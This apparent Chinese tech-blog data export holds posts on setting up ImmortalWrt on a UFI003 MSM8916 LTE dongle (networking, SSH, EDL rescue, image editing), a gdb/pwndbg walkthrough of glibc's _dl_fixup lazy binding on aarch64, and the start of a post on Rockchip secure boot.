页面内的 Interfaces 子页面内，添加一个 Interface，名为 WiredExtend，对应的物理设备为 eth0，Protocol 为 DHCP Client 模式：\n防火墙区域选择 WAN： OpenWrt 默认的 br-lan 地址为 192.168.1.1，这可能会与上级路由器冲突，需要修改 br-lan 为 其他地址如 192.168.4.1，加入 UFI Wi-Fi 信号的设备 IP 地址将变为 192.168.4.1/24：\nSSH 配置 # 默认情况下，只有加入 OpenWrt Wi-Fi 的设备能 SSH 上 OpenWrt，如果想从上级网络访问 OpenWrt，需要更改监听的 Interface 防火墙允许入栈 22 端口： ZRAM # NTP 自动时间同步 # 通过 time.apple.com 来同步时间，我这里填入的是 IP 而不是域名：\nName: time.apple.com Addresses: 17.253.2.125 17.253.2.253 17.253.20.253 Local Startup 脚本 # 已经不用设置了，这个脚本写进自启动脚本里(rc.local)了\n使用脚本让 USB 在 Host/Gadgets 模式之间自动切换：\nsleep 2 grep 0 /sys/kernel/debug/usb/ci_hdrc.0/device | grep speed if [ $? -eq 0 ] then echo host \u0026gt; /sys/kernel/debug/usb/ci_hdrc.0/role fi 实际上 UFI003_MB_V02 支持USB 模式自动切换，但需要修改内核 dts 树：\nhttps://lists.sr.ht/~postmarketos/upstreaming/%3CTYZPR04MB632102315884225B7343533B96729%40TYZPR04MB6321.apcprd04.prod.outlook.com%3E\n由于我构建的 ImmortalWrt 还未引入整个 patch，所以还是得靠这个不优雅的startup 脚本实现自动切换。\nLED 灯状态 # 更多的 LED 灯控制模式可以在 命令行中调试，如：\nroot@ImmortalWrt:/sys/class/leds/red:power# pwd /sys/class/leds/red:power root@ImmortalWrt:/sys/class/leds/red:power# cat trigger root@ImmortalWrt:/sys/class/leds/red:power# echo phy0tx \u0026gt; trigger BUGs ：操作 mmc0:: 会导致Kernel crash，可能会导致 emmc 损坏。\n我一般设置red LED 旨在 kernel panic 的时候给我亮起，这时候我就知道 Kernel 崩溃了，其他时候LED 灯全部关闭。\n如何让高通基带正常运行 # 实际上高通基带是已经驱动了的，可以使用 mmcli -m 0 查看基带运行状态：\nSystem | device: qcom-soc | physdev: /sys/devices/platform/soc@0/4080000.remoteproc | drivers: qcom-q6v5-mss, bam-dmux | plugin: qcom-soc | primary port: wwan0qmi0 | ports: wwan0 (net), wwan0at0 (at), wwan0qmi0 (qmi), wwan1 (net), | wwan2 (net), wwan3 (net), wwan4 (net), wwan5 (net), wwan6 (net), | wwan7 (net) ----------------------------- Status | state: failed | failed reason: sim-missing 但是一插卡 modemmanager 就崩溃，但问题不大，/etc/init.d/modemmanager stop \u0026amp; /etc/init.d/modemmanager start 就正常了。\n日常维护 # SSH # ADB 端口转发 # 通过 adb 转发端口，如通过 adb 转发 ufi:443 到本机 127.0.0.1:8443 配置 openwrt\n$ adb forward tcp:8443 tcp:443 $ firefox https://127.0.0.1:8443 转发 ufi:22 端口到 本机 127.0.0.1:8022\n$ adb forward tcp:2222 tcp:2222 $ ssh -p2222 root@127.0.0.1 通过 adb 转发的方式访问 UFI SSH 需要将 SSH Access 页面的 Interface 改为 unspecified GC # 默认是 adb，配置文件在 /etc/config 内，修改后 ``/etc/init.d/gc restart`\n9008 模式救援模式 # 高通 msm8916 平台的 EDL 模式可以做许多 Low Level 的操作，理论上 UFI 设备是无法被彻底写坏的，大部分误操作都可以通过进入 EDL 模式使用 Miko Service Tool 还原 UFI 设备。\nPlease refer to: https://en.wikipedia.org/wiki/Qualcomm_EDL_mode\n按住 BPC 上的按钮不放，插入 USB 接口后 UFI 上电进入 EDL 模式 adb reboot bootloader 和 fastboot oem reboot-edl 进入 EDL 模式 通过 Miko 内自带 EDL 端口驱动，可以很方便的安装： 清空 eMMC 分区表 # 从 eMMC 0 扇区开始进行破坏性写入一个 100m 大小的空白 blank.img 到 eMMC 中，旧的分区表就无了： 注意将 UFI 设备连接到 VMware 虚拟机内而不是 Host 机，你可能需要反复重连确保 Miko 正确找到 EDL 设备。\n注意网上流传的 Miko Service Tool Pro 基本上是 “Cracked Software”，主程序由 Loader.exe 启动，安全性未知。 像我一样有洁癖的人士建议在虚拟机内操作。\nNotice：You can using bkerler/edl which is OpenSource Qualcomm Sahara / Firehose Attack Client / Diag Tools\n恢复原厂固件 # 解开原厂固件 UFI003_MB_V02_EDL.7z，在 xml flasher 功能区域中选择 rawprogram0.xml 文件就可以还原 UFI 的原厂系统：\nsha1sum of UFI003_MB_V02_EDL : 86226dce4f2782dfaa91bc0002317e4cb2cb7693 UFI003_MB_V02_EDL.7z\n但是这里我们只需要将 UFI 设备重置到 fastboot 模式就可以，并不需要写入整个原厂固件，另外写入原厂固件后 ADB 能不呢顺利开启也是一个问题。这里选择跳过 system 和 userdata 两个分区：\nUFI上电后自然会进入原厂 fastboot 模式：\n也有可能是这种设备 Windows 找不到 ADB 设备的问题 # 某些时候存在 Windows 上使用 fastboot 设备找不到的问题，设备识别为 HandsomeMod Devices： 本质上是 Fastboot 驱动无法匹配 USB VID 造成的，因为USB Gadget 模拟的 USB VID 并没有在 fastboot 驱动支持列表（*.ini）里，遇到这种情况需要手动选择驱动类型：\n这个时候Win11 应该就可以看到 fastboot 设备，再次输入 fastboot devices 可以看到设备上线。\n网口兼容性 # 有些时候出现网口灯只亮一边（正常情况下是绿色的灯闪烁），从家用路由器中引出的网线大部分正常，但从交换机出来的网线有时候则不可以，似乎是速率协商或者扩展板硬件设计导致的问题。\n高级玩法 # KVM # 内核已经开启了 KVM，通过 dmesg 验证：\n# dmesg | grep kvm [ 0.463218] kvm [1]: IPA Size Limit: 40 bits [ 0.471721] kvm [1]: vgic interrupt IRQ9 [ 0.475241] kvm [1]: Hyp mode initialized successfully 理论上吧 aarch64 架构的 Qemu ELF 可执行文件直接放到 OpenWrt 中跑就可以，不过我没尝试。有空的友友们可以试试看。\n修改 rootfs 和 boot 镜像 # 你可以修改 rootfs 和 boot 镜像定制自己的 OpenWrt 系统，配合 UFI 上电过程中的 Serial Console Logs 定位具体的问题。\n使用 simg2img 将 Android sparse image 转换为 正常的 ext4 img 镜像：\n$ sudo apt install simg2img img2simg $ simg2img \\ immortalwrt-msm89xx-msm8916-openstick-ufi003-ext4-system.img \\ immortalwrt-msm89xx-msm8916-openstick-ufi003-ext4-system.img.ext4 挂载镜像到 /tmp/rootfs/ 下：\nsudo mount \\ immortalwrt-msm89xx-msm8916-openstick-ufi003-ext4-system.img.ext4 \\ /tmp/rootfs/ 修改完成后记得执行 sync 避免 Linux 上的IO缓存造成的问题，使用 img2simg 工具从 ext4 img 转换为 Android sparse image：\nimg2simg \\ immortalwrt-msm89xx-msm8916-openstick-ufi003-ext4-system.img.ext4 \\ immortalwrt-msm89xx-msm8916-openstick-ufi003-ext4-system.img Build Your Firmware # Assuming you are an experienced developer\nBuild your firmware :\nhttps://github.com/lkiuyu/immortalwrt https://github.com/lkiuyu/immortalwrt-ufi-build-action https://forum.openwrt.org/t/uf896-qualcomm-msm8916-lte-router-384mib-ram-2-4gib-flash-android-openwrt/131712/122 ","date":"21 October 2023","externalUrl":null,"permalink":"/posts/ufimakefun/","section":"Posts","summary":"记录 UFI001C/MSM8916 平台刷写 OpenWrt、配置网络、SSH、ZRAM 与救援流程。\n","title":"UFI001C 平台折腾记录","type":"posts"},{"content":"","date":"21 October 2023","externalUrl":null,"permalink":"/tags/ufi003/","section":"Tags","summary":"","title":"Ufi003","type":"tags"},{"content":"glibc 不支持 Clang 编译，或者说暂时不支持。因为 glibc 本身使用了大量GCC独占的特性。但开源社区也有尝试用 Clang 构建 glibc。\n搭建 glibc Debug 调试环境 # Build glibc # $ wget -q -O- https://ftp.gnu.org/gnu/glibc/glibc-2.38.tar.xz | tar -Jxv -C ./ $ cd glibc-2.38 $ ./configure --enable-debug --prefix=/home/ihexon/glibc_bin $ make ; make install glibc 不支持 Clang 编译，或者说暂时不支持。因为 glibc 本身使用了大量GCC独占的特性。但开源社区也有尝试用 Clang 构建 glibc。\n必须指定安装位置 --prefix=/home/ihexon/glibc_bin，不然 glibc 就安装到 /usr/local/lib 中去了，跨版本升级底层C库这显然会让系统会发生异常。\n如果手抖覆盖了系统的 /usr/lib/aarch64-linux-gnu/libc.so.6 库，整个系统就崩了。 使用 readelf -S printf_nopic 命令验证编译出的动态库是否带有 debug symbol:\n$ readelf --wide -S glibc_bin/lib/libc.so.6 | grep debug [58] .debug_aranges PROGBITS 0000000000000000 183e80 016390 00 0 0 16 [59] .debug_info PROGBITS 0000000000000000 19a210 5106dc 00 0 0 1 [60] .debug_abbrev PROGBITS 0000000000000000 6aa8ec 0e5ca5 00 0 0 1 [61] .debug_line PROGBITS 0000000000000000 790591 13056f 00 0 0 1 [62] .debug_str PROGBITS 0000000000000000 8c0b00 02ccf1 01 MS 0 0 1 [63] .debug_line_str PROGBITS 0000000000000000 8ed7f1 00adb5 01 MS 0 0 1 [64] .debug_loclists PROGBITS 0000000000000000 8f85a6 16042f 00 0 0 1 [65] .debug_rnglists PROGBITS 0000000000000000 a589d5 0230b8 00 0 0 1 测试 glibc 是否正常工作 # 写一个小型的 C 程序：\n#include \u0026lt;stdio.h\u0026gt; int main(int argc, char const* argv[]) { printf(\u0026#34;%s\u0026#34;,\u0026#34;What a nice day MTF !\u0026#34;); return 0; } 编译出的 ELF 文件需要链接到新的 /home/ihexon/glibc_bin/lib/libc.so.6 上，当然 ELF 的链接器也要设定为 /home/ihexon/glibc_bin/lib/ld-linux-aarch64.so.1\n$ gcc printf.c -o printf_nopic \\ -g -no-pie -Wl,-z,norelro \\ -Wl,-rpath=/home/ihexon/glibc_bin/lib/ \\ -Wl,-dynamic-linker=/home/ihexon/glibc_bin/lib/ld-linux-aarch64.so.1 使用 ldd 验证：\n$ ldd printf_nopic_fuck linux-vdso.so.1 (0x0000007f8ed98000) libc.so.6 =\u0026gt; /home/ihexon/glibc_bin/lib/libc.so.6 (0x0000007f8ebb0000) /home/ihexon/glibc_bin/lib/ld-linux-aarch64.so.1 =\u0026gt; /lib/ld-linux-aarch64.so.1 (0x0000007f8ed5f000) 开始 Debug # 在开始 Debug之前还有些细致的活需要做：\n如果 Debug 是在 Docker 内，需要在 ~/.gdbinit 内写入 set disable-randomization off，因为 Docker 内没权限让 GDB 关闭内核的 address randomization。 由于 GDB 的安全性设定禁止加载外部的 libs，需要配置 auto-load safe-path 路径否则 GDB 无法加载到外部库如 libthread_db.so.1 等。写入这条语句到 ~/.gdbinit 中：set auto-load safe-path /home/ihexon/glibc_bin/lib 还可以设定 set verbose on 来让 GDB 在调试时打印更多信息。当然着有时候会比较影响注意力。 尝试断点 print_nopic 的 main 函数：\nihexon@raspberrypi ~/l/DynamicLink\u0026gt; gdb printf_nopic Reading symbols from printf_nopic... (gdb) b main Breakpoint 1 at 0x4005d4: file printf.c, line 4. (gdb) run Starting program: /home/ihexon/learnassembly/DynamicLink/printf_nopic [Thread debugging using libthread_db enabled] Using host libthread_db library \u0026#34;/home/ihexon/glibc_bin/lib/libthread_db.so.1\u0026#34;. Breakpoint 1, main (argc=1, argv=0x7fc2507698) at printf.c:4 4 printf(\u0026#34;%s\u0026#34;,\u0026#34;ssss\u0026#34;); 此时可以断点感兴趣的 glibc 内部函数如 _dl_fixup，（/home/ihexon/glibc/elf/dl-runtime.c），并跳入glibc 内部函数运行：\n(gdb) b _dl_fixup Breakpoint 2 at 0x7fa0137200: file dl-runtime.c, line 47. (gdb) c Continuing. Breakpoint 2, _dl_fixup (l=0x7fa0162350, reloc_arg=72) at dl-runtime.c:47 47 const ElfW(Sym) *const symtab (gdb) next 48 = (const void *) D_PTR (l, l_info[DT_SYMTAB]); (gdb) next 79 return !(l-\u0026gt;l_ld_readonly || DL_RO_DYN_SECTION); (gdb) next 49 const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); 查看 _dl_fixup 函数的所属的源文件位置：\n(gdb) info source Current source file is dl-runtime.c Compilation directory is /home/ihexon/glibc/elf Located in /home/ihexon/glibc/elf/dl-runtime.c Contains 348 lines. Source language is c. Producer is GNU C11 11.4.0 -mlittle-endian -mabi=lp64 -g -O2 -std=gnu11 -fgnu89-inline -fmerge-all-constants -frounding-math -fno-common -fmath-errno -fPIC -fno-stack-protector -fexceptions -ftls-model=initial-exec -fasynchronous-unwind-tables -fstack-clash-protection. Compiled with DWARF 5 debugging format. Does not include preprocessor macro info. 查看局部变量：\n(gdb) info locals symtab = 0x400298 strtab = \u0026lt;optimized out\u0026gt; pltgot = \u0026lt;optimized out\u0026gt; reloc = \u0026lt;optimized out\u0026gt; sym = 0x7fa01372f4 \u0026lt;_dl_fixup+244\u0026gt; refsym = \u0026lt;optimized out\u0026gt; rel_addr = \u0026lt;optimized out\u0026gt; result = \u0026lt;optimized out\u0026gt; value = 548146323600 __PRETTY_FUNCTION__ = \u0026#34;_dl_fixup\u0026#34; 不废话了\u0026hellip;.\n其他工具 # pwngdb objdump readelf elixir.bootlin.com 可以到 elixir.bootlin.com 翻看源码，这个网站对 glibc 整个源码生成了 Tags，可以实现对任意一个 symbol 在整个源码树下的 Definition/Reference/Implementation 跳转。 等玩6了之后就可以尝试使用这些搞基工具让自己更加搞基\nradare2 (一个逆向工程框架) unicorn capston qemu _dl_fixup 函数 # 注释如下：\nThis function is called through a special trampoline from the PLT the first time each PLT entry is called. We must perform the relocation specified in the PLT of the given shared object, and return the resolved function address to the trampoline, which will restart the original call to that address. Future calls will bounce directly from the PLT to the function.\nFunction Signature：\nfunction _dl_fixup → Elf64_Addr (aka unsigned long) Parameters: struct link_map * l Elf64_Word reloc_arg (aka unsigned int) Elf64_Addr _dl_fixup(struct link_map *l, Elf64_Word reloc_arg) 它需要 link_map *，和 reloc_arg (int 类型)。\n_dl_fixup 是怎么找到 printf@got[plt]\n感觉和这行代码有关： 局部变量探索 # 当执行到 _dl_lookup_symbol_x 卡一下，\nresult = _dl_lookup_symbol_x (strtab + sym-\u0026gt;st_name, l, \u0026amp;sym, l-\u0026gt;l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL); function Signature 如下：\nlookup_t (aka struct link_map *) # 返回类型 参数列表: const char * undef struct link_map * undef_map const Elf64_Sym ** sym struct r_scope_elem ** symbol_scope const struct r_found_version * version int type_class int flags struct link_map * skip_map 看看局部变量是什么情况，此时局部变量如下： sym # sym 变量是 section .dynstr 的地址 sym 本质上是 const Elf64_Sym 结构体， 结构体成员如下：\nreloc # 指向 .rela 内的一个大小为24字节的条目。指向的槽位内的地址又指向了 got.plt 内的地址，如果 got.plt 没有填充正确的 printf 地址，则这个槽位又指向了 .PLT 开始处，如果填充了正确的地址，那么就直接跳转到 printf 的地址中运行。\nreloc 由多个宏运算与inline函数运算后得到：\n展开后就是下面一大串： reloc 本质上是结构体 Elf64_Rela。 pwndbg\u0026gt; whatis reloc type = const Elf64_Rela * const 结构体 Elf64_Rela 大小为 24 字节。 pwndbg\u0026gt; print sizeof(Elf64_Rela) $20 = 24 每个 Elf64_Rela 都是一个在 .rela 内的一个大小为24字节的条目。 结构体 Elf64_Rela 的字段如下：\npwndbg\u0026gt; ptype Elf64_Rela type = struct { Elf64_Addr r_offset; Elf64_Xword r_info; Elf64_Sxword r_addend; } 打印 reloc 中的成员变量：\npwndbg\u0026gt; print -- /x *reloc $2 = { r_offset = 0x20028, r_info = 0xb00000402, r_addend = 0x0 } 各成员大小为\npwndbg\u0026gt; print sizeof(reloc.r_offset) $27 = 8 pwndbg\u0026gt; print sizeof(reloc.r_info) $28 = 8 pwndbg\u0026gt; print sizeof(reloc.r_addend) $29 = 8 每个 Elf64_Rela 都是一个在 section .rela 内的一个大小为24字节的条目。\n如果不想那么抽象的话，当前 reloc 的地址为 0x5567fa0698，这个地址在就是 .rela.plt 0x5567fa0698 = 0x5567fa0620 + 0x78，大小为 24 字节：\nContents of section .rela.plt: 0620 00000200 00000000 02040000 03000000 ................ 0630 00000000 00000000 08000200 00000000 ................ 0640 02040000 05000000 00000000 00000000 ................ 0650 10000200 00000000 02040000 06000000 ................ 0660 00000000 00000000 18000200 00000000 ................ 0670 02040000 07000000 00000000 00000000 ................ 0680 20000200 00000000 02040000 09000000 ............... 0690 00000000 00000000 [28000200 00000000 ........(....... 06a0 02040000 0b000000 00000000 00000000] ................ reloc.r_offset == 0x20028 # [28000200 00000000] r_info = 0xb00000402 # [02040000 0b000000] r_addend = 0x0 # [00000000 00000000] reloc.r_offset (0x20028) 是一个地址，指向 got.plt:\nContents of section .got.plt: 1ffe8 00000000 00000000 00000000 00000000 ................ 1fff8 00000000 00000000 d0060000 00000000 ................ 20008 d0060000 00000000 d0060000 00000000 ................ 20018 d0060000 00000000 d0060000 00000000 ................ 20028 [d0060000 00000000] 这个槽位的值为 d0060000 00000000，这是 plt 最开始的一小段代码，使用 objdump 可以得到汇编代码：\n$ objdump -d a.out 00000000000006d0 \u0026lt;.plt\u0026gt;: 6d0: a9bf7bf0 stp x16, x30, [sp, #-16]! 6d4: f00000f0 adrp x16, 1f000 \u0026lt;__GNU_EH_FRAME_HDR+0x1e6a4\u0026gt; 6d8: f947fe11 ldr x17, [x16, #4088] 6dc: 913fe210 add x16, x16, #0xff8 6e0: d61f0220 br x17 6e4: d503201f nop 6e8: d503201f nop 6ec: d503201f nop 注意 0x20028 是未被装载之前的地址也就是ELF内的偏移量，使用 pwndbg 可以得到 VMA 内的 got.plt 地址。\npwndbg\u0026gt; got Filtering out read-only entries (display them with -r or --show-readonly) [0x5567fc0028] printf@GLIBC_2.17 -\u0026gt; 0x5567fa06d0 ◂— stp x16, x30, [sp, #-0x10]! 0x20028 在装载时的地址为 0x5567fc0028。而 0x5567fa06d0 也是 6d0 在VMA内的地址。显然他们对应的都是 .PLT 开头的那一小段代码。这一小段代码就是地址寻找 printf 在 libs.so.6 中的地址旅程的大门。\n当然所有的痛苦也由此开始：）\nreloc 的计算过程如下：\npwndbg\u0026gt; macro expand (D_PTR (l, l_info[DT_JMPREL]) expands to: (((l)-\u0026gt;l_info[23]-\u0026gt;d_un.d_ptr + (dl_relocate_ld (l) ? 0 : (l)-\u0026gt;l_addr)) pwndbg\u0026gt; p /x (l)-\u0026gt;l_info[23]-\u0026gt;d_un.d_ptr $10 = 0x5567fa0620 前一部分的地址为 0x5567fa0620，后一部分 (dl_relocate_ld (l) ? 0 : (l)-\u0026gt;l_addr)) 是一个 inline 函数，单纯返回 pltn 参数：\npltn 就是 _dl_fixup 的第二个参数：reloca_args\npwndbg\u0026gt; info args l = 0x7fb6bad360 reloc_arg = 120 pwndbg\u0026gt; print /x 120 $12 = 0x78 所以 reloc 的值为\npwndbg\u0026gt; print /x 0x5567fa0620+0x78 $14 = 0x5567fa0698 pwndbg\u0026gt; p reloc # 验证计算是否正确 $15 = (const Elf64_Rela * const) 0x5567fa0698 rel_addr # rel_addr 指向的地址是 0x00410b38，即为 got.plt 中的第 7 项 0x410b38] printf@GLIBC_2.17， rel_addr 在这里被赋值：\nvoid *const rel_addr = (void *)(l-\u0026gt;l_addr + reloc-\u0026gt;r_offset); l-\u0026gt;l_addr 为 0，reloc-\u0026gt;r_offset == 0x410b38，0x410b38 指向了 .rela.plt 中的某地址，这个地址是 0x00410b38\n0x00410b38 是 got（准确来说是 got.plt）的第 7 项（为什么是第 7 项，因为 .got.plt 前三项是固定的，后面是 ），也就是 printf@GLIBC_2.17， 0x00410b38 是需要被修正的地址，等 _dl_fixup 完事后 0x00410b38 就会指向 printf 的在 libc.so.6 中的真正地址，也就是 0x7fb35cc0f0 \u0026lt;__printf\u0026gt;\n_dl_lookup_symbol_x 做了什么 # _dl_lookup_symbol_x 执行完得到一个指针 0x7fa090c000并赋值给 result。\n► 95 result = _dl_lookup_symbol_x (strtab + sym-\u0026gt;st_name, l, \u0026amp;sym, l-\u0026gt;l_scope, 96 version, ELF_RTYPE_CLASS_PLT, flags, NULL); result == 0x7fa0730000 。 实际上 result 的类型为 lookup_t。\npwndbg\u0026gt; whatis result type = lookup_t 从 Language Server 后端 clangd 对的代码上下文语境分析得到，lookup_t 实际上指向了 结构体 link_map ：\ntype-alias lookup_t provided by \u0026#34;/home/ihexon/glibc/sysdeps/generic/ldsodefs.h\u0026#34; Type: struct link_map * Result of the lookup functions and how to retrieve the base address. typedef struct link_map *lookup_t result （aka link_map *）会在 DL_FIXUP_MAKE_VALUE 宏修正 got.plt 时被用到。因为 result.l_addr 成员变量中里存储了 libs.so.6 在虚拟内存中的基地址：\npwndbg\u0026gt; xinfo result.l_addr Extended information for virtual address 0x7fa0730000: Containing mapping: 0x7fa0730000 0x7fa08af000 r-xp 17f000 0 /home/ihexon/glibc_bin/lib/libc.so.6 Offset information: Mapped Area 0x7fa0730000 = 0x7fa0730000 + 0x0 File (Base) 0x7fa0730000 = 0x7fa0730000 + 0x0 File (Segment) 0x7fa0730000 = 0x7fa0730000 + 0x0 File (Disk) 0x7fa0730000 = /home/ihexon/glibc_bin/lib/libc.so.6 + 0x0 TODO: _dl_lookup_symbol_x 是怎么得到 libc.so.6 的基地址呢？\n得到了 libc.so.6 后还要加上 printf 在 libc.so.6 中的偏移量才能得到 printf 的地址并修正给 got.plt 中的 [0x410b38] printf@GLIBC_2.17。 实际上修正 .got.plt 是在 DL_FIXUP_MAKE_VALUE 宏内完成的：\n► 109 value = DL_FIXUP_MAKE_VALUE (result, 110 SYMBOL_ADDRESS (result, sym, false)); 展开：\n(((sym) == ((void *)0) ? 0 : (__builtin_expect(((sym)-\u0026gt;st_shndx == 0xfff1), 0) ? 0 : ((0) || (result) ? (result)-\u0026gt;l_addr : 0)) + (sym)-\u0026gt;st_value)) 实际上就是：result.l_addr + (sym)-\u0026gt;st_value，也就是 libs.so.6 的基地址（result.l_addr） + printf 在 libc.so.6 中的偏移量（(sym)-\u0026gt;st_value）。得到0x7fa077c0f0，这就是 printf 的真实的地址。\npwndbg\u0026gt; x result.l_addr + (sym)-\u0026gt;st_value 0x7fa077c0f0 \u0026lt;__printf\u0026gt;: 0xfd sym 变量起到了关键作用，此时 sym 变量变成了 0x7fa0745960，之前不是 0x4002f8 吗 ？？\n可能是在 _dl_lookup_symbol_x 函数中被修改了吧，因为它的第三个参数传入了 sym 的地址。 好了大概流程就是这样，下面来点细节。\n局部变量 # symtab const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]); symtab 指向的 .dynsym 的开始，.dynsym 和 .dynstr 是强关联的，比较熟知的是 .dynsym 是一个结构体，如下：\npwndbg\u0026gt; whatis symtab type = const Elf64_Sym * const pwndbg\u0026gt; print sizeof(Elf64_Sym) $11 = 24 pwndbg\u0026gt; print sizeof(Elf64_Sym) $12 = 24 pwndbg\u0026gt; ptype Elf64_Sym type = struct { Elf64_Word st_name; unsigned char st_info; unsigned char st_other; Elf64_Section st_shndx; Elf64_Addr st_value; Elf64_Xword st_size; } 所以 symtab 每一项都是 24 字节的： 0x19 为偏移量，这里我直接说这个是 print 函数名在 .dynstr 的偏移量，0x19==25\npwndbg\u0026gt; p -- /d 0x19 $13 = 25 数25 位试试看： strtab 变量字如其名\npltgot 指向 got.plt（为什么这个变量叫 pltgot 而不是 gotplt??）\nrefsym 就更有趣了，st_name = 25 意思就指向了 .symtab 的 print 函数名，告诉 ld.so，我就是要找在 .dynstr 段中偏移量位 25 的函数，这个函数就是 printf 函数\npwndbg\u0026gt; p *refsym $36 = { st_name = 25, st_info = 18 \u0026#39;\\022\u0026#39;, st_other = 0 \u0026#39;\\000\u0026#39;, st_shndx = 0, st_value = 0, st_size = 0 } rela_addr 指向了 got.plt 中的 printf@got[plt] 条目 pwndbg\u0026gt; p rel_addr $38 = (void * const) 0x410b38 \u0026lt;printf@got[plt]\u0026gt; pwndbg\u0026gt; got [0x410b38] printf@GLIBC_2.17 -\u0026gt; 0x400450 ◂— stp x16, x30, [sp, #-0x10]! reloc: # elf/dl-runtime.c:53 const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) 指向 XXX@got.plt 中的条目的地址，可想而知，当 dl_fixup 走完后，XXX@got.plt 的地址将会被修正，当程序 bl XXX@got.plt 时，不会再走 _dl_runtime_resolve 了。\npwndbg\u0026gt; p reloc $12 = (const Elf64_Rela * const) 0x400418 reloc 指向的是ELF 内段 .rela.plt 0x400418-0x400418+4 的内容，那么 0x400418-0x400418+4，而 0x400418-0x400418+4 这4字节存储的是380b4100，因为aarch64 是小端架构所以逆序得出 0x410b38, 这就是 .got.plt 中 printf@GLIBC_2.17 条目的地址。\nihexon@raspberrypi ~/l/DynamicLink\u0026gt; objdump -s printf_nopic -j .rela.plt printf_nopic: file format elf64-littleaarch64 Contents of section .rela.plt: 4003d0 200b4100 00000000 02040000 01000000 .A............. 4003e0 00000000 00000000 280b4100 00000000 ........(.A..... 4003f0 02040000 02000000 00000000 00000000 ................ 400400 300b4100 00000000 02040000 03000000 0.A............. 400410 00000000 00000000 [380b4100] 00000000 ........8.A..... 400420 02040000 04000000 00000000 00000000 ................ 0x410b38 又指向 0x400450\npwndbg\u0026gt; got │[0x410b38] printf@GLIBC_2.17 -\u0026gt; 0x400450 ◂— stp x16, x30, [sp, #-0x10]! 0x400450 开始的地方是一小段代码：\npwndbg\u0026gt; x/10i 0x00400450 0x400450: stp x16, x30, [sp, #-16]! 0x400454: adrp x16, 0x410000 0x400458: ldr x17, [x16, #2840] 0x40045c: add x16, x16, #0xb18 0x400460: br x17 br x17 不说了，直接跳转到 dl_runtime_resolv 里去了。但这不会发送，因为当 _dl_fixup 跑完后， printf@GLIBC_2.17 的地址将会被指向 printf 真正的地址，而不是走 _dl_runtime_resolve。\n参数 *l: dl_fixup 的参数 *l 就是一个巨大的结构体变量，里面保存了 ELF 的各个段的偏移地址，这些地址会被频繁用到从而计算出需要的地址，如 rel_addr 就是被计算出来的。 pwndbg\u0026gt; ptype l type = struct link_map { Elf64_Addr l_addr; char *l_name; Elf64_Dyn *l_ld; struct link_map *l_next; struct link_map *l_prev; struct link_map *l_real; Lmid_t l_ns; struct libname_list *l_libname; Elf64_Dyn *l_info[86]; ，，，，， rel_addr 是这样被计算出来的：\nvoid *const rel_addr = (void *)(l-\u0026gt;l_addr + reloc-\u0026gt;r_offset); 还有其他的变量可以通过 info locales 得到，不废话了。\nELFW 是一个宏：\n要开始修正 plt 地址了亲！\nIn file: /home/ihexon/glibc/elf/dl-runtime.c 154 value = reloc_result-\u0026gt;addr; 155 } 156 #endif 157 158 /* Finally, fix up the plt itself. */ ► 159 if (__glibc_unlikely (GLRO(dl_bind_not))) 160 return value; 到这里拿到了 printf 的真实地址，验证一下：\nIn file: /home/ihexon/glibc/sysdeps/aarch64/dl-machine.h 142 const ElfW(Sym) *refsym, const ElfW(Sym) *sym, 143 const ElfW(Rela) *reloc, 144 ElfW(Addr) *reloc_addr, 145 ElfW(Addr) value) 146 { ► 147 return *reloc_addr = value; 148 } 149 150 /* Return the final value of a plt relocation. */ 151 static inline ElfW(Addr) 152 elf_machine_plt_value (struct link_map *map, `` ```bash pwndbg\u0026gt; p printf $35 = {int (const char *, ...)} 0x7f85b2c0f0 \u0026lt;__printf\u0026gt; pwndbg\u0026gt; p -- /x value $36 = 0x7f85b2c0f0 什么时候修正的 # 相关函数：\nelf_machine_fixup_plt (struct link_map *map, lookup_t t, const ElfW(Sym) *refsym, const ElfW(Sym) *sym, const ElfW(Rela) *reloc, ElfW(Addr) *reloc_addr, ElfW(Addr) value) { return *reloc_addr = value; } 这里让 reloc_addr = value(printf 的值），还记得吗，reloc_addr 是 got.plt 内地址 0x410b38，讲 value 赋值给这个地址就是修正了这个地址：\npwndbg\u0026gt; got [0x410b38] printf@GLIBC_2.17 -\u0026gt; 0x7f92f8c0f0 (printf) ◂— stp x29, x30, [sp, #-0x110]! 没修正之前：\npwndbg\u0026gt; got [0x410b38] printf@GLIBC_2.17 -\u0026gt; 0x400450 ◂— stp x16, x30, [sp, #-0x10]! 操了，头疼\u0026hellip;.\n","date":"20 October 2023","externalUrl":null,"permalink":"/posts/dlfixup/","section":"Posts","summary":"glibc 不支持 Clang 编译，或者说暂时不支持。因为 glibc 本身使用了大量GCC独占的特性。但开源社区也有尝试用 Clang 构建 glibc。\n","title":"_dl_fixup 机制研究记录","type":"posts"},{"content":"","date":"20 October 2023","externalUrl":null,"permalink":"/tags/dynamic-linker/","section":"Tags","summary":"","title":"Dynamic-Linker","type":"tags"},{"content":"","date":"20 October 2023","externalUrl":null,"permalink":"/tags/elf/","section":"Tags","summary":"","title":"Elf","type":"tags"},{"content":"","date":"24 July 2023","externalUrl":null,"permalink":"/tags/bootrom/","section":"Tags","summary":"","title":"Bootrom","type":"tags"},{"content":"","date":"24 July 2023","externalUrl":null,"permalink":"/categories/firmware/","section":"Categories","summary":"","title":"Firmware","type":"categories"},{"content":"","date":"24 July 2023","externalUrl":null,"permalink":"/tags/rockchip/","section":"Tags","summary":"","title":"Rockchip","type":"tags"},{"content":"记录 Rockchip 平台安全启动链路的理解，包括 bootROM、密钥、镜像验证和启动阶段。\nbootROM # 所有支持 Secure Boot 的 CPU 都会有一个写死在 CPU 中的 bootROM 程序。CPU 在通电之后执行的第一条指令就在 bootROM 的入口。bootROM 拥有最高的执行权限，也就是 EL3。它将初始化 Secure Boot 安全机制，加载 Secure Boot Key 等密钥、从 eMMC 加载并验证 First Stage Bootloader（FSBL），最后跳转进 FSBL 中。\nbootROM 是完全只读的，这个在 CPU 出厂时就被写死了，连 OEM 都无法更改。bootROM 通常会被映射到它专属的一块内存地址中，但是如果你尝试向这块地址写入内容，一般都会出错或者没有任何效果。\n有些芯片还会有一个专门的寄存器控制 bootROM 的可见性，bootROM 可以通过这个寄存器禁止别的程序读取它的代码，以阻止攻击者通过逆向 bootROM 寻找漏洞。\neFUSE # 一块很小的一次性编程储存模块，我们称之为 FUSE 或者 